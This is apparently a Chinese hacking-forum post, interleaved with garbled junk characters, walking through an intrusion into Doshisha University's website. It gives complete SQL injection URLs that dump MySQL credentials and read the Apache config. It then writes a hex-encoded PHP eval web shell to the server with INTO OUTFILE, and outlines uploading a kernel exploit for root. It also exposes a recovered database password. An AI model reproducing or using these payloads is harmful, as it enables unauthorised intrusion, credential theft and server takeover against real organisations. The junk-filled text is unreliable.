入侵日本同志社大学技术分析8 R3 g4 Z: e' H' w/ P+ |
+ T- P! |% D0 U& M- w& _) d
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
/ k9 u$ e9 \9 \5 @然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:& k. _$ U O# S: U' U
$ C8 g- h: A; ~) J0 _
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
: ~' W4 O1 c8 d7 U. ^
# h5 ?! q: X. ?/ w
/ z, c! u9 A2 Q6 w: T; _
/ L; e9 d9 A# K7 Z" x l; o- T//@@datadir为数据库文件路径
1 G* B# y A- d! S2 ^4 b" S9 E
@, d4 y! @7 D t) |, G1 r
! G5 H m! q+ l9 c: M8 ?9 X8 U. ?//load_file读取网站容器apache的配置文件 * w: |3 k1 c, ]& ]
: R! I) H" V* A) x7 r
9 z! Y( G# } ~5 r) G- w7 o- W
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
$ N+ Y! Y7 s! l6 h/ }% B8 e! J$ @3 x复制代码
3 C( q9 r, l( e( c- E
' |1 d" k/ P3 \: A虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
; B! {9 G6 R7 P6 x( D- s4 U4 |
6 X. G* B& [* y M4 r" w而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。8 u* p' m Q- J! g4 X
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html), w% l6 A W0 P4 m
) `; W! l9 k9 ?* N! @5 i前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
6 F! Q2 P# {9 q0 ~" T; ?$ S8 \如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
6 L" {4 u9 w* i8 I) G% Z/ ^
/ ^( s: {8 ?& e% R; X: A, {既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/9 u5 V$ r* n# |) T$ n' L
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
- K& H- s1 K. i! a直接写一句话:. b# T! Z$ o9 J7 H
' I3 ?1 e) g* I+ }+ @, j& D$ y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
4 o& v0 j* Y) Q9 D3 g8 k3 j/ [
/ @0 q0 S w) j+ D& e3 e! u
$ z& i3 C: o4 F0 x, G
+ M5 x7 G; m- l7 v9 b//最后的#是为了闭合前面的语句 1 ]0 g1 Y1 |, Q* G; Q+ U5 d
7 b$ d0 L+ r7 U, j4 o* l9 ~" ?2 n8 C3 y8 v" `) d# u6 g
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
: i# K$ W7 r5 D2 i) _ 6 S9 \0 v. Q# P3 X& G0 Q, Z
^, ?5 ^+ G# X; k为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
, ^7 _. h2 Q& L5 p2 R ?6 g
/ Q2 `5 O6 M+ V+ s9 I- P
$ C) @/ p9 i+ E. E0 ]" R R//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
c1 ]7 T# v9 f0 \# [. w% j , p* R0 N1 ~$ T3 B1 e+ C8 @
& ^' i8 k1 M7 \$ E# ^
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
! Q. N. b3 A( ] h% D//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 2 `. c/ K; o. `, F, m! C. R
复制代码
& p8 w$ H( `/ S# i# ^5 Q5 S1 Z2 t! `+ g7 ?! _8 h# A! a
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
0 f) l( \* ] E/ q" `6 C$ O0 F4 G通过上述注入语句,我们就得到了一句话木马:
& H& E+ K0 x D0 k6 Y- N' o2 S `3 T
6 U; |; `" p ?3 S9 O3 c) B/ f' E# Q {8 T
) `9 r) F2 r5 i* W: j0 q6 z, x6 G( j/ `& F( @8 t. q# Q' ]
http://www.doshisha.ac.jp/english/engnews_img/aa.php
2 h, ]$ s! V9 i2 w7 \6 V! c1 v4 S- L复制代码' _; i0 [! `5 m4 F& ]$ T
7 _. v4 U; ~1 \) H- n8 B) D, o
用菜刀连接,密码是cmd,如图所示:
3 H3 |) {* [* h" I% @* _2 Q5 g! A然后在命令提示行里看了一下,现在的权限是:; @: Z: _. P, G; ~
8 e: U$ l$ Y' P+ j之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。( J4 i }( m0 @+ u9 H
好在赋权给这个文件夹不需要root,直接执行赋权语句:
+ F& s$ k) p+ }6 f4 @ n7 d. d5 f4 ^4 j1 _9 P8 |/ ?1 p
+ Z8 {* o& w. E4 e
% Z& F- T( A& h& O. p% E4 [
/ o7 |: H9 o& ?* u
/ g- P4 P8 C$ v( ychmod +x /tmp/ - A8 |. B3 y I& u5 N) W
复制代码
9 l- d) i8 a+ a4 E( E$ F
9 p# v/ S f0 O6 X在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
1 b9 i- k6 x/ ]3 e2 X5 G然后就查了一下内核版本:3 j& f$ F: n) R
# Z9 o$ }4 e% ^; r6 t
4 h* I3 R8 l/ b
0 H3 S/ g# |& L* X / j2 [2 h" Q* |8 d" F8 E5 }
q* B+ H7 t3 Luname-a
* ]+ z7 c s9 y0 Y" F/ K . } n x- [6 M
3 u7 x% m' ?7 j& Z& `- }7 t- L- l//其实lsb_release -a
% j' U6 N( K5 M) @4 b R) U% l复制代码
! B2 I* L2 A* P. d) l, H5 N: M& G T4 _& |4 ?1 ` |* {% u
如图所示:5 O2 d y( p7 D0 c$ X3 t
: w1 u$ ]6 N; P内核版本:linux mainz1 2.6.28-194.e15' z- v& P8 ^4 w5 S9 m' }! ~; d
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
' z2 b5 Q/ n+ c1 W8 o2 N查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹+ Z& E+ y) B# g2 C
% P- h# T6 Y5 N8 U, L7 U1 ~& s% q然后给予执行权限2 J: @. x2 Z% g* V+ @" v( z! ~
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样# Y* ?' E! x" S2 b. `0 ~
$ [3 T: T+ W C8 c 0 b$ E" d, Q+ x% p' R: [- r+ l. b- l
. _, s' W3 ?' l/ [
# i: n2 X# _7 C1 l3 J
0 g: O6 L8 {9 [. B( L. schmod +x /tmp/2.6.18-194
$ O1 ?% k+ }* t0 J4 B复制代码 然后直接执行!~$ P8 i1 M- R( S( H+ t8 z: y
- M4 K" d0 c# M
总结:
% t7 P: }. x' |& I/ J) Q这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
7 X* Z( X) S/ ~$ U; a- ~提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
4 C: [# ^3 N; Z; t$ Z, t/ T4 d7 t4 `
/ g. a5 G6 l4 H, }3 L |